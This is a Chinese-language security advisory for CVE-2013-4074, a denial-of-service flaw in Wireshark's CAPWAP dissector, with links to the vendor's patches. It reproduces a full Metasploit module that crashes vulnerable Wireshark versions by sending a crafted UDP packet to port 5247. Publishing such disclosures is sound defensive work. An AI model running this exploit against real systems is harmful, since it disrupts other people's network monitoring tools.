Wireshark CAPWAP Dissector packet-capwap.c dissect_capwap_data远程拒绝服务漏洞

发布日期：2014-05-29
更新日期：2014-06-02受影响系统：
Wireshark Wireshark 1.x
描述：
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CVE（CAN） ID: CVE-2013-4074

Wireshark是最流行的网络协议解析器。

Wireshark中，packet-capwap.c里的函数dissect_capwap_data在CAPWAP解析器内的实现上存在远程拒绝服务漏洞，此漏洞可在处理特制数据包时触发，导致应用崩溃。

<*来源：Laurent Butti （laurent.butti@orange-ftgroup.com）

链接：http://osvdb.org/show/osvdb/94091
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Laurent Butti （laurent.butti@orange-ftgroup.com）提供了如下测试方法：
#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## require "msf/core" class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos def initialize（info = {}）
super（update_info（info,
"Name" => "Wireshark CAPWAP Dissector DoS",
"Description" => %q{
This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
incomplete packet.
},
"License" => MSF_LICENSE,
"Author" =>
[
"Laurent Butti", # Discovery vulnerability
"j0sm1" # Auxiliary msf module
],
"References" =>
[
["CVE", "2013-4074"],
["OSVDB", "94091"],
["BID", "60500"]
],
"DisclosureDate" => "Apr 28 2014"）） # Protocol capwap needs port 5247 to trigger the dissector in wireshark
register_options（[ Opt::RPORT（5247） ], self.class）
end def run connect_udp # We send a packet incomplete to crash dissector
print_status（"#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ..."）
# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
# the dissector crash
# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
buf = Rex::Text.rand_text（3） + "x90" + Rex::Text.rand_text（15）
udp_sock.put（buf） disconnect_udp end
end建议：
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厂商补丁：

Wireshark
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.wireshark.org/security/wnpa-sec-2013-32.html
http://anonsvn.wireshark.org/viewvc/trunk/epan/dissectors/packet-capwap.c？r1=43716&r2=43715&pathrev=43716Wireshark 的详细介绍：请点这里
Wireshark 的下载地址：请点这里网络抓包工具Wireshark的简单使用 http://www.linuxidc.com/Linux/2013-05/84174.htmUbuntu 12.04 下安装Wireshark http://www.linuxidc.com/Linux/2012-06/63582.htmLinux中从普通用户启动Wireshark抓包 http://www.linuxidc.com/Linux/2012-06/63580.htm